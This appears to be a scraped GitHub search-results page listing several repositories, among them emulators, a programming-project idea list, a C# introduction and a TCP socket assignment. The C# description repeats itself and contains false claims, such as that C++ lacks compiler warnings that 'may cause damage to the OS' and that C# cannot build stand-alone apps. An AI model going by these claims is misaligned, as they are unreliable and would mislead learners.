63 skills found · Page 1 of 3
robhagemans / PcbasicPC-BASIC - A free, cross-platform emulator for the GW-BASIC family of interpreters
shumatech / BOSSABOSSA is a flash programming utility for Atmel's SAM family of flash-based ARM microcontrollers. The motivation behind BOSSA is to create a simple, easy-to-use, open source utility to replace Atmel's SAM-BA software. BOSSA is an acronym for Basic Open Source SAM-BA Application to reflect that goal.
ManojKumarPatnaik / Major Project ListA list of practical projects that anyone can solve in any programming language (See solutions). These projects are divided into multiple categories, and each category has its own folder. To get started, simply fork this repo. CONTRIBUTING See ways of contributing to this repo. You can contribute solutions (will be published in this repo) to existing problems, add new projects, or remove existing ones. Make sure you follow all instructions properly. Solutions You can find implementations of these projects in many other languages by other users in this repo. Credits Problems are motivated by the ones shared at: Martyr2’s Mega Project List Rosetta Code Table of Contents Numbers Classic Algorithms Graph Data Structures Text Networking Classes Threading Web Files Databases Graphics and Multimedia Security Numbers Find PI to the Nth Digit - Enter a number and have the program generate PI up to that many decimal places. Keep a limit to how far the program will go. Find e to the Nth Digit - Just like the previous problem, but with e instead of PI. Enter a number and have the program generate e up to that many decimal places. Keep a limit to how far the program will go. Fibonacci Sequence - Enter a number and have the program generate the Fibonacci sequence to that number or to the Nth number. Prime Factorization - Have the user enter a number and find all Prime Factors (if there are any) and display them. Next Prime Number - Have the program find prime numbers until the user chooses to stop asking for the next one. Find Cost of Tile to Cover W x H Floor - Calculate the total cost of the tile it would take to cover a floor plan of width and height, using a cost entered by the user. Mortgage Calculator - Calculate the monthly payments of a fixed-term mortgage over given Nth terms at a given interest rate. Also, figure out how long it will take the user to pay back the loan. For added complexity, add an option for users to select the compounding interval (Monthly, Weekly, Daily, Continually). Change Return Program - The user enters a cost and then the amount of money given. The program will figure out the change and the number of quarters, dimes, nickels, pennies needed for the change. Binary to Decimal and Back Converter - Develop a converter to convert a decimal number to binary or a binary number to its decimal equivalent. Calculator - A simple calculator to do basic operators. Make it a scientific calculator for added complexity. Unit Converter (temp, currency, volume, mass, and more) - Converts various units between one another. The user enters the type of unit being entered, the type of unit they want to convert to, and then the value. The program will then make the conversion. Alarm Clock - A simple clock where it plays a sound after X number of minutes/seconds or at a particular time. Distance Between Two Cities - Calculates the distance between two cities and allows the user to specify a unit of distance. This program may require finding coordinates for the cities like latitude and longitude. Credit Card Validator - Takes in a credit card number from a common credit card vendor (Visa, MasterCard, American Express, Discoverer) and validates it to make sure that it is a valid number (look into how credit cards use a checksum). Tax Calculator - Asks the user to enter a cost and either a country or state tax. It then returns the tax plus the total cost with tax. Factorial Finder - The Factorial of a positive integer, n, is defined as the product of the sequence n, n-1, n-2, ...1, and the factorial of zero, 0, is defined as being 1. Solve this using both loops and recursion. Complex Number Algebra - Show addition, multiplication, negation, and inversion of complex numbers in separate functions. (Subtraction and division operations can be made with pairs of these operations.) Print the results for each operation tested. Happy Numbers - A happy number is defined by the following process. Starting with any positive integer, replace the number by the sum of the squares of its digits, and repeat the process until the number equals 1 (where it will stay), or it loops endlessly in a cycle which does not include 1. Those numbers for which this process ends in 1 are happy numbers, while those that do not end in 1 are unhappy numbers. Display an example of your output here. Find the first 8 happy numbers. Number Names - Show how to spell out a number in English. You can use a preexisting implementation or roll your own, but you should support inputs up to at least one million (or the maximum value of your language's default bounded integer type if that's less). Optional: Support for inputs other than positive integers (like zero, negative integers, and floating-point numbers). Coin Flip Simulation - Write some code that simulates flipping a single coin however many times the user decides. The code should record the outcomes and count the number of tails and heads. Limit Calculator - Ask the user to enter f(x) and the limit value, then return the value of the limit statement Optional: Make the calculator capable of supporting infinite limits. Fast Exponentiation - Ask the user to enter 2 integers a and b and output a^b (i.e. pow(a,b)) in O(LG n) time complexity. Classic Algorithms Collatz Conjecture - Start with a number n > 1. Find the number of steps it takes to reach one using the following process: If n is even, divide it by 2. If n is odd, multiply it by 3 and add 1. Sorting - Implement two types of sorting algorithms: Merge sort and bubble sort. Closest pair problem - The closest pair of points problem or closest pair problem is a problem of computational geometry: given n points in metric space, find a pair of points with the smallest distance between them. Sieve of Eratosthenes - The sieve of Eratosthenes is one of the most efficient ways to find all of the smaller primes (below 10 million or so). Graph Graph from links - Create a program that will create a graph or network from a series of links. Eulerian Path - Create a program that will take as an input a graph and output either an Eulerian path or an Eulerian cycle, or state that it is not possible. An Eulerian path starts at one node and traverses every edge of a graph through every node and finishes at another node. An Eulerian cycle is an eulerian Path that starts and finishes at the same node. Connected Graph - Create a program that takes a graph as an input and outputs whether every node is connected or not. Dijkstra’s Algorithm - Create a program that finds the shortest path through a graph using its edges. Minimum Spanning Tree - Create a program that takes a connected, undirected graph with weights and outputs the minimum spanning tree of the graph i.e., a subgraph that is a tree, contains all the vertices, and the sum of its weights is the least possible. Data Structures Inverted index - An Inverted Index is a data structure used to create full-text search. Given a set of text files, implement a program to create an inverted index. Also, create a user interface to do a search using that inverted index which returns a list of files that contain the query term/terms. The search index can be in memory. Text Fizz Buzz - Write a program that prints the numbers from 1 to 100. But for multiples of three print “Fizz” instead of the number and for the multiples of five print “Buzz”. For numbers which are multiples of both three and five print “FizzBuzz”. Reverse a String - Enter a string and the program will reverse it and print it out. Pig Latin - Pig Latin is a game of alterations played in the English language game. To create the Pig Latin form of an English word the initial consonant sound is transposed to the end of the word and an ay is affixed (Ex.: "banana" would yield anana-bay). Read Wikipedia for more information on rules. Count Vowels - Enter a string and the program counts the number of vowels in the text. For added complexity have it report a sum of each vowel found. Check if Palindrome - Checks if the string entered by the user is a palindrome. That is that it reads the same forwards as backward like “racecar” Count Words in a String - Counts the number of individual words in a string. For added complexity read these strings in from a text file and generate a summary. Text Editor - Notepad-style application that can open, edit, and save text documents. Optional: Add syntax highlighting and other features. RSS Feed Creator - Given a link to RSS/Atom Feed, get all posts and display them. Quote Tracker (market symbols etc) - A program that can go out and check the current value of stocks for a list of symbols entered by the user. The user can set how often the stocks are checked. For CLI, show whether the stock has moved up or down. Optional: If GUI, the program can show green up and red down arrows to show which direction the stock value has moved. Guestbook / Journal - A simple application that allows people to add comments or write journal entries. It can allow comments or not and timestamps for all entries. Could also be made into a shoutbox. Optional: Deploy it on Google App Engine or Heroku or any other PaaS (if possible, of course). Vigenere / Vernam / Ceasar Ciphers - Functions for encrypting and decrypting data messages. Then send them to a friend. Regex Query Tool - A tool that allows the user to enter a text string and then in a separate control enter a regex pattern. It will run the regular expression against the source text and return any matches or flag errors in the regular expression. Networking FTP Program - A file transfer program that can transfer files back and forth from a remote web sever. Bandwidth Monitor - A small utility program that tracks how much data you have uploaded and downloaded from the net during the course of your current online session. See if you can find out what periods of the day you use more and less and generate a report or graph that shows it. Port Scanner - Enter an IP address and a port range where the program will then attempt to find open ports on the given computer by connecting to each of them. On any successful connections mark the port as open. Mail Checker (POP3 / IMAP) - The user enters various account information include web server and IP, protocol type (POP3 or IMAP), and the application will check for email at a given interval. Country from IP Lookup - Enter an IP address and find the country that IP is registered in. Optional: Find the Ip automatically. Whois Search Tool - Enter an IP or host address and have it look it up through whois and return the results to you. Site Checker with Time Scheduling - An application that attempts to connect to a website or server every so many minute or a given time and check if it is up. If it is down, it will notify you by email or by posting a notice on the screen. Classes Product Inventory Project - Create an application that manages an inventory of products. Create a product class that has a price, id, and quantity on hand. Then create an inventory class that keeps track of various products and can sum up the inventory value. Airline / Hotel Reservation System - Create a reservation system that books airline seats or hotel rooms. It charges various rates for particular sections of the plane or hotel. For example, first class is going to cost more than a coach. Hotel rooms have penthouse suites which cost more. Keep track of when rooms will be available and can be scheduled. Company Manager - Create a hierarchy of classes - abstract class Employee and subclasses HourlyEmployee, SalariedEmployee, Manager, and Executive. Everyone's pay is calculated differently, research a bit about it. After you've established an employee hierarchy, create a Company class that allows you to manage the employees. You should be able to hire, fire, and raise employees. Bank Account Manager - Create a class called Account which will be an abstract class for three other classes called CheckingAccount, SavingsAccount, and BusinessAccount. Manage credits and debits from these accounts through an ATM-style program. Patient / Doctor Scheduler - Create a patient class and a doctor class. Have a doctor that can handle multiple patients and set up a scheduling program where a doctor can only handle 16 patients during an 8 hr workday. Recipe Creator and Manager - Create a recipe class with ingredients and put them in a recipe manager program that organizes them into categories like desserts, main courses, or by ingredients like chicken, beef, soups, pies, etc. Image Gallery - Create an image abstract class and then a class that inherits from it for each image type. Put them in a program that displays them in a gallery-style format for viewing. Shape Area and Perimeter Classes - Create an abstract class called Shape and then inherit from it other shapes like diamond, rectangle, circle, triangle, etc. Then have each class override the area and perimeter functionality to handle each shape type. Flower Shop Ordering To Go - Create a flower shop application that deals in flower objects and use those flower objects in a bouquet object which can then be sold. Keep track of the number of objects and when you may need to order more. Family Tree Creator - Create a class called Person which will have a name, when they were born, and when (and if) they died. Allow the user to create these Person classes and put them into a family tree structure. Print out the tree to the screen. Threading Create A Progress Bar for Downloads - Create a progress bar for applications that can keep track of a download in progress. The progress bar will be on a separate thread and will communicate with the main thread using delegates. Bulk Thumbnail Creator - Picture processing can take a bit of time for some transformations. Especially if the image is large. Create an image program that can take hundreds of images and converts them to a specified size in the background thread while you do other things. For added complexity, have one thread handling re-sizing, have another bulk renaming of thumbnails, etc. Web Page Scraper - Create an application that connects to a site and pulls out all links, or images, and saves them to a list. Optional: Organize the indexed content and don’t allow duplicates. Have it put the results into an easily searchable index file. Online White Board - Create an application that allows you to draw pictures, write notes and use various colors to flesh out ideas for projects. Optional: Add a feature to invite friends to collaborate on a whiteboard online. Get Atomic Time from Internet Clock - This program will get the true atomic time from an atomic time clock on the Internet. Use any one of the atomic clocks returned by a simple Google search. Fetch Current Weather - Get the current weather for a given zip/postal code. Optional: Try locating the user automatically. Scheduled Auto Login and Action - Make an application that logs into a given site on a schedule and invokes a certain action and then logs out. This can be useful for checking webmail, posting regular content, or getting info for other applications and saving it to your computer. E-Card Generator - Make a site that allows people to generate their own little e-cards and send them to other people. Do not use Flash. Use a picture library and perhaps insightful mottos or quotes. Content Management System - Create a content management system (CMS) like Joomla, Drupal, PHP Nuke, etc. Start small. Optional: Allow for the addition of modules/addons. Web Board (Forum) - Create a forum for you and your buddies to post, administer and share thoughts and ideas. CAPTCHA Maker - Ever see those images with letters numbers when you signup for a service and then ask you to enter what you see? It keeps web bots from automatically signing up and spamming. Try creating one yourself for online forms. Files Quiz Maker - Make an application that takes various questions from a file, picked randomly, and puts together a quiz for students. Each quiz can be different and then reads a key to grade the quizzes. Sort Excel/CSV File Utility - Reads a file of records, sorts them, and then writes them back to the file. Allow the user to choose various sort style and sorting based on a particular field. Create Zip File Maker - The user enters various files from different directories and the program zips them up into a zip file. Optional: Apply actual compression to the files. Start with Huffman Algorithm. PDF Generator - An application that can read in a text file, HTML file, or some other file and generates a PDF file out of it. Great for a web-based service where the user uploads the file and the program returns a PDF of the file. Optional: Deploy on GAE or Heroku if possible. Mp3 Tagger - Modify and add ID3v1 tags to MP3 files. See if you can also add in the album art into the MP3 file’s header as well as other ID3v2 tags. Code Snippet Manager - Another utility program that allows coders to put in functions, classes, or other tidbits to save for use later. Organized by the type of snippet or language the coder can quickly lookup code. Optional: For extra practice try adding syntax highlighting based on the language. Databases SQL Query Analyzer - A utility application in which a user can enter a query and have it run against a local database and look for ways to make it more efficient. Remote SQL Tool - A utility that can execute queries on remote servers from your local computer across the Internet. It should take in a remote host, user name, and password, run the query and return the results. Report Generator - Create a utility that generates a report based on some tables in a database. Generates sales reports based on the order/order details tables or sums up the day's current database activity. Event Scheduler and Calendar - Make an application that allows the user to enter a date and time of an event, event notes, and then schedule those events on a calendar. The user can then browse the calendar or search the calendar for specific events. Optional: Allow the application to create re-occurrence events that reoccur every day, week, month, year, etc. Budget Tracker - Write an application that keeps track of a household’s budget. The user can add expenses, income, and recurring costs to find out how much they are saving or losing over a period of time. Optional: Allow the user to specify a date range and see the net flow of money in and out of the house budget for that time period. TV Show Tracker - Got a favorite show you don’t want to miss? Don’t have a PVR or want to be able to find the show to then PVR it later? Make an application that can search various online TV Guide sites, locate the shows/times/channels and add them to a database application. The database/website then can send you email reminders that a show is about to start and which channel it will be on. Travel Planner System - Make a system that allows users to put together their own little travel itinerary and keep track of the airline/hotel arrangements, points of interest, budget, and schedule. Graphics and Multimedia Slide Show - Make an application that shows various pictures in a slide show format. Optional: Try adding various effects like fade in/out, star wipe, and window blinds transitions. Stream Video from Online - Try to create your own online streaming video player. Mp3 Player - A simple program for playing your favorite music files. Add features you think are missing from your favorite music player. Watermarking Application - Have some pictures you want copyright protected? Add your own logo or text lightly across the background so that no one can simply steal your graphics off your site. Make a program that will add this watermark to the picture. Optional: Use threading to process multiple images simultaneously. Turtle Graphics - This is a common project where you create a floor of 20 x 20 squares. Using various commands you tell a turtle to draw a line on the floor. You have moved forward, left or right, lift or drop the pen, etc. Do a search online for "Turtle Graphics" for more information. Optional: Allow the program to read in the list of commands from a file. GIF Creator A program that puts together multiple images (PNGs, JPGs, TIFFs) to make a smooth GIF that can be exported. Optional: Make the program convert small video files to GIFs as well. Security Caesar cipher - Implement a Caesar cipher, both encoding, and decoding. The key is an integer from 1 to 25. This cipher rotates the letters of the alphabet (A to Z). The encoding replaces each letter with the 1st to 25th next letter in the alphabet (wrapping Z to A). So key 2 encrypts "HI" to "JK", but key 20 encrypts "HI" to "BC". This simple "monoalphabetic substitution cipher" provides almost no security, because an attacker who has the encoded message can either use frequency analysis to guess the key, or just try all 25 keys.
tyfkda / NesemuNES Emulator written in TypeScript
sanusanth / C Basic ProgramsWhat is C#? C# is pronounced "C-Sharp". It is an object-oriented programming language created by Microsoft that runs on the .NET Framework. C# has roots from the C family, and the language is close to other popular languages like C++ and Java. The first version was released in year 2002. The latest version, C# 8, was released in September 2019. C# is a modern object-oriented programming language developed in 2000 by Anders Hejlsberg, the principal designer and lead architect at Microsoft. It is pronounced as "C-Sharp," inspired by the musical notation “♯” which stands for a note with a slightly higher pitch. As it’s considered an incremental compilation of the C++ language, the name C “sharp” seemed most appropriate. The sharp symbol, however, has been replaced by the keyboard friendly “#” as a suffix to “C” for purposes of programming. Although the code is very similar to C++, C# is newer and has grown fast with extensive support from Microsoft. The fact that it’s so similar to Java syntactically helps explain why it has emerged as one of the most popular programming languages today. C# is pronounced "C-Sharp". It is an object-oriented programming language created by Microsoft that runs on the .NET Framework. C# has roots from the C family, and the language is close to other popular languages like C++ and Java. The first version was released in year 2002. The latest version, C# 8, was released in September 2019. C# is used for: Mobile applications Desktop applications Web applications Web services Web sites Games VR Database applications And much, much more! An Introduction to C# Programming C# is a general-purpose, object-oriented programming language that is structured and easy to learn. It runs on Microsoft’s .Net Framework and can be compiled on a variety of computer platforms. As the syntax is simple and easy to learn, developers familiar with C, C++, or Java have found a comfort zone within C#. C# is a boon for developers who want to build a wide range of applications on the .NET Framework—Windows applications, Web applications, and Web services—in addition to building mobile apps, Windows Store apps, and enterprise software. It is thus considered a powerful programming language and features in every developer’s cache of tools. Although first released in 2002, when it was introduced with .NET Framework 1.0, the C# language has evolved a great deal since then. The most recent version is C# 8.0, available in preview as part of Visual Studio. To get access to all of the new language features, you would need to install the latest preview version of .NET Core 3.0. C# is used for: Mobile applications Desktop applications Web applications Web services Web sites Games VR Database applications And much, much more! Why Use C#? It is one of the most popular programming language in the world It is easy to learn and simple to use It has a huge community support C# is an object oriented language which gives a clear structure to programs and allows code to be reused, lowering development costs. As C# is close to C, C++ and Java, it makes it easy for programmers to switch to C# or vice versa. The C# Environment You need the .NET Framework and an IDE (integrated development environment) to work with the C# language. The .NET Framework The .NET Framework platform of the Windows OS is required to write web and desktop-based applications using not only C# but also Visual Basic and Jscript, as the platform provides language interoperability. Besides, the .Net Framework allows C# to communicate with any of the other common languages, such as C++, Jscript, COBOL, and so on. IDEs Microsoft provides various IDEs for C# programming: Visual Studio 2010 (VS) Visual Studio Express Visual Web Developer Visual Studio Code (VSC) The C# source code files can be written using a basic text editor, like Notepad, and compiled using the command-line compiler of the .NET Framework. Alternative open-source versions of the .Net Framework can work on other operating systems as well. For instance, the Mono has a C# compiler and runs on several operating systems, including Linux, Mac, Android, BSD, iOS, Windows, Solaris, and UNIX. This brings enhanced development tools to the developer. As C# is part of the .Net Framework platform, it has access to its enormous library of codes and components, such as Common Language Runtime (CLR), the .Net Framework Class Library, Common Language Specification, Common Type System, Metadata and Assemblies, Windows Forms, ASP.Net and ASP.Net AJAX, Windows Workflow Foundation (WF), Windows Communication Foundation (WCF), and LINQ. C# and Java C# and Java are high-level programming languages that share several similarities (as well as many differences). They are both object-oriented languages much influenced by C++. But while C# is suitable for application development in the Microsoft ecosystem from the front, Java is considered best for client-side web applications. Also, while C# has many tools for programming, Java has a larger arsenal of tools to choose from in IDEs and Text Editors. C# is used for virtual reality projects like games, mobile, and web applications. It is built specifically for Microsoft platforms and several non-Microsoft-based operating systems, like the Mono Project that works with Linux and OS X. Java is used for creating messaging applications and developing web-based and enterprise-based applications in open-source ecosystems. Both C# and Java support arrays. However, each language uses them differently. In C#, arrays are a specialization of the system; in Java, they are a direct specialization of the object. The C# programming language executes on the CLR. The source code is interpreted into bytecode, which is further compiled by the CLR. Java runs on any platform with the assistance of JRE (Java Runtime Environment). The written source code is first compiled into bytecode and then converted into machine code to be executed on a JRE. C# and C++ Although C# and C++ are both C-based languages with similar code, there are some differences. For one, C# is considered a component-oriented programming language, while C++ is a partial object-oriented language. Also, while both languages are compiled languages, C# compiles to CLR and is interpreted by.NET, but C++ compiles to machine code. The size of binaries in C# is much larger than in C++. Other differences between the two include the following: C# gives compiler errors and warnings, but C++ doesn’t support warnings, which may cause damage to the OS. C# runs in a virtual machine for automatic memory management. C++ requires you to manage memory manually. C# can create Windows, .NET, web, desktop, and mobile applications, but not stand-alone apps. C++ can create server-side, stand-alone, and console applications as it can work directly with the hardware. C++ can be used on any platform, while C# is targeted toward Windows OS. Generally, C++ being faster than C#, the former is preferred for applications where performance is essential. Features of C# The C# programming language has many features that make it more useful and unique when compared to other languages, including: Object-oriented language Being object-oriented, C# allows the creation of modular applications and reusable codes, an advantage over C++. As an object-oriented language, C# makes development and maintenance easier when project size grows. It supports all three object-oriented features: data encapsulation, inheritance, interfaces, and polymorphism. Simplicity C# is a simple language with a structured approach to problem-solving. Unsafe operations, like direct memory manipulation, are not allowed. Speed The compilation and execution time in C# is very powerful and fast. A Modern programming language C# programming is used for building scalable and interoperable applications with support for modern features like automatic garbage collection, error handling, debugging, and robust security. It has built-in support for a web service to be invoked from any app running on any platform. Type-safe Arrays and objects are zero base indexed and bound checked. There is an automatic checking of the overflow of types. The C# type safety instances support robust programming. Interoperability Language interoperability of C# maximizes code reuse for the efficiency of the development process. C# programs can work upon almost anything as a program can call out any native API. Consistency Its unified type system enables developers to extend the type system simply and easily for consistent behavior. Updateable C# is automatically updateable. Its versioning support enables complex frameworks to be developed and evolved. Component oriented C# supports component-oriented programming through the concepts of properties, methods, events, and attributes for self-contained and self-describing components of functionality for robust and scalable applications. Structured Programming Language The structured design and modularization in C# break a problem into parts, using functions for easy implementation to solve significant problems. Rich Library C# has a standard library with many inbuilt functions for easy and fast development. Prerequisites for Learning C# Basic knowledge of C or C++ or any programming language or programming fundamentals. Additionally, the OOP concept makes for a short learning curve of C#. Advantages of C# There are many advantages to the C# language that makes it a useful programming language compared to other languages like Java, C, or C++. These include: Being an object-oriented language, C# allows you to create modular, maintainable applications and reusable codes Familiar syntax Easy to develop as it has a rich class of libraries for smooth implementation of functions Enhanced integration as an application written in .NET will integrate and interpret better when compared to other NET technologies As C# runs on CLR, it makes it easy to integrate with components written in other languages It’s safe, with no data loss as there is no type-conversion so that you can write secure codes The automatic garbage collection keeps the system clean and doesn’t hang it during execution As your machine has to install the .NET Framework to run C#, it supports cross-platform Strong memory backup prevents memory leakage Programming support of the Microsoft ecosystem makes development easy and seamless Low maintenance cost, as C# can develop iOS, Android, and Windows Phone native apps The syntax is similar to C, C++, and Java, which makes it easier to learn and work with C# Useful as it can develop iOS, Android, and Windows Phone native apps with the Xamarin Framework C# is the most powerful programming language for the .NET Framework Fast development as C# is open source steered by Microsoft with access to open source projects and tools on Github, and many active communities contributing to the improvement What Can C Sharp Do for You? C# can be used to develop a wide range of: Windows client applications Windows libraries and components Windows services Web applications Native iOS and Android mobile apps Azure cloud applications and services Gaming consoles and gaming systems Video and virtual reality games Interoperability software like SharePoint Enterprise software Backend services and database programs AI and ML applications Distributed applications Hardware-level programming Virus and malware software GUI-based applications IoT devices Blockchain and distributed ledger technology C# Programming for Beginners: Introduction, Features and Applications By Simplilearn Last updated on Jan 20, 2020674 C# Programming for Beginners As a programmer, you’re motivated to master the most popular languages that will give you an edge in your career. There’s a vast number of programming languages that you can learn, but how do you know which is the most useful? If you know C and C++, do you need to learn C# as well? How similar is C# to Java? Does it become more comfortable for you to learn C# if you already know Java? Every developer and wannabe programmer asks these types of questions. So let us explore C# programming: how it evolved as an extension of C and why you need to learn it as a part of the Master’s Program in integrated DevOps for server-side execution. Are you a web developer or someone interested to build a website? Enroll for the Javascript Certification Training. Check out the course preview now! What is C#? C# is a modern object-oriented programming language developed in 2000 by Anders Hejlsberg, the principal designer and lead architect at Microsoft. It is pronounced as "C-Sharp," inspired by the musical notation “♯” which stands for a note with a slightly higher pitch. As it’s considered an incremental compilation of the C++ language, the name C “sharp” seemed most appropriate. The sharp symbol, however, has been replaced by the keyboard friendly “#” as a suffix to “C” for purposes of programming. Although the code is very similar to C++, C# is newer and has grown fast with extensive support from Microsoft. The fact that it’s so similar to Java syntactically helps explain why it has emerged as one of the most popular programming languages today. An Introduction to C# Programming C# is a general-purpose, object-oriented programming language that is structured and easy to learn. It runs on Microsoft’s .Net Framework and can be compiled on a variety of computer platforms. As the syntax is simple and easy to learn, developers familiar with C, C++, or Java have found a comfort zone within C#. C# is a boon for developers who want to build a wide range of applications on the .NET Framework—Windows applications, Web applications, and Web services—in addition to building mobile apps, Windows Store apps, and enterprise software. It is thus considered a powerful programming language and features in every developer’s cache of tools. Although first released in 2002, when it was introduced with .NET Framework 1.0, the C# language has evolved a great deal since then. The most recent version is C# 8.0, available in preview as part of Visual Studio. To get access to all of the new language features, you would need to install the latest preview version of .NET Core 3.0. The C# Environment You need the .NET Framework and an IDE (integrated development environment) to work with the C# language. The .NET Framework The .NET Framework platform of the Windows OS is required to write web and desktop-based applications using not only C# but also Visual Basic and Jscript, as the platform provides language interoperability. Besides, the .Net Framework allows C# to communicate with any of the other common languages, such as C++, Jscript, COBOL, and so on. IDEs Microsoft provides various IDEs for C# programming: Visual Studio 2010 (VS) Visual Studio Express Visual Web Developer Visual Studio Code (VSC) The C# source code files can be written using a basic text editor, like Notepad, and compiled using the command-line compiler of the .NET Framework. Alternative open-source versions of the .Net Framework can work on other operating systems as well. For instance, the Mono has a C# compiler and runs on several operating systems, including Linux, Mac, Android, BSD, iOS, Windows, Solaris, and UNIX. This brings enhanced development tools to the developer. As C# is part of the .Net Framework platform, it has access to its enormous library of codes and components, such as Common Language Runtime (CLR), the .Net Framework Class Library, Common Language Specification, Common Type System, Metadata and Assemblies, Windows Forms, ASP.Net and ASP.Net AJAX, Windows Workflow Foundation (WF), Windows Communication Foundation (WCF), and LINQ. C# and Java C# and Java are high-level programming languages that share several similarities (as well as many differences). They are both object-oriented languages much influenced by C++. But while C# is suitable for application development in the Microsoft ecosystem from the front, Java is considered best for client-side web applications. Also, while C# has many tools for programming, Java has a larger arsenal of tools to choose from in IDEs and Text Editors. C# is used for virtual reality projects like games, mobile, and web applications. It is built specifically for Microsoft platforms and several non-Microsoft-based operating systems, like the Mono Project that works with Linux and OS X. Java is used for creating messaging applications and developing web-based and enterprise-based applications in open-source ecosystems. Both C# and Java support arrays. However, each language uses them differently. In C#, arrays are a specialization of the system; in Java, they are a direct specialization of the object. The C# programming language executes on the CLR. The source code is interpreted into bytecode, which is further compiled by the CLR. Java runs on any platform with the assistance of JRE (Java Runtime Environment). The written source code is first compiled into bytecode and then converted into machine code to be executed on a JRE. C# and C++ Although C# and C++ are both C-based languages with similar code, there are some differences. For one, C# is considered a component-oriented programming language, while C++ is a partial object-oriented language. Also, while both languages are compiled languages, C# compiles to CLR and is interpreted by.NET, but C++ compiles to machine code. The size of binaries in C# is much larger than in C++. Other differences between the two include the following: C# gives compiler errors and warnings, but C++ doesn’t support warnings, which may cause damage to the OS. C# runs in a virtual machine for automatic memory management. C++ requires you to manage memory manually. C# can create Windows, .NET, web, desktop, and mobile applications, but not stand-alone apps. C++ can create server-side, stand-alone, and console applications as it can work directly with the hardware. C++ can be used on any platform, while C# is targeted toward Windows OS. Generally, C++ being faster than C#, the former is preferred for applications where performance is essential. Features of C# The C# programming language has many features that make it more useful and unique when compared to other languages, including: Object-oriented language Being object-oriented, C# allows the creation of modular applications and reusable codes, an advantage over C++. As an object-oriented language, C# makes development and maintenance easier when project size grows. It supports all three object-oriented features: data encapsulation, inheritance, interfaces, and polymorphism. Simplicity C# is a simple language with a structured approach to problem-solving. Unsafe operations, like direct memory manipulation, are not allowed. Speed The compilation and execution time in C# is very powerful and fast. A Modern programming language C# programming is used for building scalable and interoperable applications with support for modern features like automatic garbage collection, error handling, debugging, and robust security. It has built-in support for a web service to be invoked from any app running on any platform. Type-safe Arrays and objects are zero base indexed and bound checked. There is an automatic checking of the overflow of types. The C# type safety instances support robust programming. Interoperability Language interoperability of C# maximizes code reuse for the efficiency of the development process. C# programs can work upon almost anything as a program can call out any native API. Consistency Its unified type system enables developers to extend the type system simply and easily for consistent behavior. Updateable C# is automatically updateable. Its versioning support enables complex frameworks to be developed and evolved. Component oriented C# supports component-oriented programming through the concepts of properties, methods, events, and attributes for self-contained and self-describing components of functionality for robust and scalable applications. Structured Programming Language The structured design and modularization in C# break a problem into parts, using functions for easy implementation to solve significant problems. Rich Library C# has a standard library with many inbuilt functions for easy and fast development. Full Stack Java Developer Course The Gateway to Master Web DevelopmentEXPLORE COURSEFull Stack Java Developer Course Prerequisites for Learning C# Basic knowledge of C or C++ or any programming language or programming fundamentals. Additionally, the OOP concept makes for a short learning curve of C#. Advantages of C# There are many advantages to the C# language that makes it a useful programming language compared to other languages like Java, C, or C++. These include: Being an object-oriented language, C# allows you to create modular, maintainable applications and reusable codes Familiar syntax Easy to develop as it has a rich class of libraries for smooth implementation of functions Enhanced integration as an application written in .NET will integrate and interpret better when compared to other NET technologies As C# runs on CLR, it makes it easy to integrate with components written in other languages It’s safe, with no data loss as there is no type-conversion so that you can write secure codes The automatic garbage collection keeps the system clean and doesn’t hang it during execution As your machine has to install the .NET Framework to run C#, it supports cross-platform Strong memory backup prevents memory leakage Programming support of the Microsoft ecosystem makes development easy and seamless Low maintenance cost, as C# can develop iOS, Android, and Windows Phone native apps The syntax is similar to C, C++, and Java, which makes it easier to learn and work with C# Useful as it can develop iOS, Android, and Windows Phone native apps with the Xamarin Framework C# is the most powerful programming language for the .NET Framework Fast development as C# is open source steered by Microsoft with access to open source projects and tools on Github, and many active communities contributing to the improvement What Can C Sharp Do for You? C# can be used to develop a wide range of: Windows client applications Windows libraries and components Windows services Web applications Native iOS and Android mobile apps Azure cloud applications and services Gaming consoles and gaming systems Video and virtual reality games Interoperability software like SharePoint Enterprise software Backend services and database programs AI and ML applications Distributed applications Hardware-level programming Virus and malware software GUI-based applications IoT devices Blockchain and distributed ledger technology Who Should Learn the C# Programming Language and Why? C# is one of the most popular programming languages as it can be used for a variety of applications: mobile apps, game development, and enterprise software. What’s more, the C# 8.0 version is packed with several new features and enhancements to the C# language that can change the way developers write their C# code. The most important new features available are ‘null reference types,’ enhanced ‘pattern matching,’ and ‘async streams’ that help you to write more reliable and readable code. As you’re exposed to the fundamental programming concepts of C# in this course, you can work on projects that open the doors for you as a Full Stack Java Developer. So, upskill and master the C# language for a faster career trajectory and salary scope.
daveagp / Family TreeBasic web visualizer for family tree
SOYJUN / TCP Socket Client ServerThe aim of this assignment is to have you do TCP socket client / server programming using I/O multiplexing, child processes and threads. It also aims at getting you to familiarize yourselves with the inetd superserver daemon, the ‘exec’ family of functions, various socket error scenarios, some socket options, and some basic domain name / IP address conversion functions. Apart from the material in Chapters 1 to 6 covered in class, you will also need to refer to the following : the exec family of functions (Section 4.7 of Chapter 4) using pipes for interprocess communication (IPC) in Unix error scenarios induced by process terminations & host crashes (Sections 5.11 to 5.16, Chapter 5) setsockopt function & SO_REUSEADDR socket option (Section 7.2 & pp.210-213, Chapter 7) gethostbyname & gethostbyaddr functions (Sections 11.3 & 11.4, Chapter 11) the basic structure of inetd (Section 13.5, Chapter 13) programming with threads (Sections 26.1 to 26.5, Chapter 26) Overview I shall present an overview of this assignment and discuss some of the specification details given below in class on Wednesday, September 17 & Monday, September 22. Client The client is evoked with a command line argument giving either the server IP address in dotted decimal notation, or the server domain name. The client has to be able to handle either mode and figure out which of the two is being passed to it. If it is given the IP address, it calls the gethostbyaddr function to get the domain name, which it then prints out to the user in the form of an appropriate message (e.g., ‘The server host is compserv1.cs.stonybrook.edu’). The function gethostbyname, on the other hand, returns the IP address that corresponds to a given domain name. The client then enters an infinite loop in which it queries the user which service is being requested. There are two options : echo and time (note that time is a slightly modified version of the daytime service – see below). The client then forks off a child. After the child is forked off, the parent process enters a second loop in which it continually reads and prints out status messages received from the child via a half-duplex pipe (see below). The parent exits the second loop when the child closes the pipe (how does the parent detect this?), and/or the SIGCHLD signal is generated when the child terminates. The parent then repeats the outer loop, querying the user again for the (next) service s/he desires. This cycle continues till the user responds to a query with quit rather than echo or time. The child process is the one which handles the actual service for the user. It execs (see Section 4.7, Chapter 4) an xterm to generate a separate window through which all interactions with server and user take place. For example, the following exec function call evokes an xterm, and gets the xterm to execute echocli, located in the current directory, passing the string 127.0.0.1 (assumed to be the IP address of the server) as the command line argument argv[1] to echocli (click on the url for further details) : execlp("xterm", "xterm", "-e", "./echocli", "127.0.0.1", (char *) 0) xterm executes one of two client programs (echocli or timecli, say) depending 